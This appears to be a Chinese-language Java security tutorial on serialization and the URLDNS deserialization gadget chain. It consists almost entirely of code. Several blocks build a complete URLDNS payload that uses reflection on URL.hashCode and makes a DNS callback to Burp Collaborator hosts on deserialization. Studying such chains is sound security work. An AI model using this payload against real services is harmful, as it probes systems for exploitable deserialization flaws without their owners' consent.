JAVA安全初探（二）:Java序列化/反序列化和URLDNS链分析

```javapublic class Person implements Serializable { //实现序列化接口，才能被序列化！！！！    public String name;    public int age;    public double weight;    public Person(){}    public Person(String name, int age, double weight) {        this.name = name;        this.age = age;        this.weight = weight;    }}```

```javapublic class serialize___aa {public static void serialize(Object object) throws Exception{     ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("C://java/serialize.txt"));//使用FileOutputStream类将结果输入到该文件中oos.writeObject(object);//调用writeObject方法        }    public static void main(String[] args) throws Exception {    Person p=new Person("gxngxngxn",19,114514); //实例化一个Person类    serialize(p); //调用序列化方法   }}

```

```javapublic class unserialize__aa {    public static void unserialize(String filename) throws  Exception{ //参数为文件名        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));        //读取文件中的字节序列        objectInputStream.readObject();//调用readObject方法        System.out.println("反序列化成功!");    }
    public static void main(String[] args) throws Exception  {        unserialize("C://java/serialize.txt"); //调用反序列化方法    }
}```

```javastatic final int hash(Object key) {    int h;    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);    //这里会运用了三目表达式，判断接收的key是否空，如果不为空，那么就会调用Key的hashcode方法}```

```javapublic synchronized int hashCode() {    if (hashCode != -1)  //if判断hashcode是否为-1        return hashCode;
    hashCode = handler.hashCode(this);  //如果不为-1，则调用handler的hashcode方法    return hashCode;}```

```java  //定义序列化方法public static void serialize(Object object) throws Exception{        ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("C://java/serialize.txt"));        objectOutputStream.writeObject(object);    }
//定义反序列化方法    public static void unserialize(String filename) throws  Exception{        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));        objectInputStream.readObject();    }
//主函数    public static void main(String[] args) throws Exception {        HashMap<URL,Object> map=new HashMap<>(); //实例化一个HashMap对象，        URL url=new URL("http://exf20lhrr4wfo20t0o23fn9gu70xom.burpcollaborator.net");     //实例化一个URL对象，并且赋值我们接收请求的地址，这里就使用burp里面的工具，具体使用会在下面介绍        map.put(url,1); //调用put方法，给key传值为我们的url        *serialize*(map); //序列化```

```javaHashMap<URL,Object> map=new HashMap<>();
URL url=new URL("http://rpkxi1w7k2ymj3f60mz06oxqnht7hw.burpcollaborator.net");
Class c=url.getClass(); //获取URL类的原型
Field f=c.getDeclaredField("hashCode"); //获取类中hashcode属性
f.setAccessible(true); //因为hashcode属性是私有的，所以我们要修改作用域
f.set(url,114514);  //调用set方法修改它的值
map.put(url,1);    
f.set(url,-1);    //调用put方法后再把hashcode改回-1
*serialize*(map);```

```javapackage URLDNS;
import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.MalformedURLException;import java.net.URL;import java.util.Collections;import java.util.HashMap;
public class serialize___aa {    public static void serialize(Object object) throws Exception{        ObjectOutputStream objectOutputStream=new ObjectOutputStream(new FileOutputStream("C://java/serialize.txt"));        objectOutputStream.writeObject(object);    }    public static void unserialize(String filename) throws  Exception{        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));        objectInputStream.readObject();    }
    public static void main(String[] args) throws Exception {        HashMap<URL,Object> map=new HashMap<>();        URL url=new URL("http://rpkxi1w7k2ymj3f60mz06oxqnht7hw.burpcollaborator.net");        Class c=url.getClass();        Field f=c.getDeclaredField("hashCode");        f.setAccessible(true);        f.set(url,114514);        map.put(url,1);        f.set(url,-1);        *serialize*(map);        *unserialize*("C://java/serialize.txt");


    }}```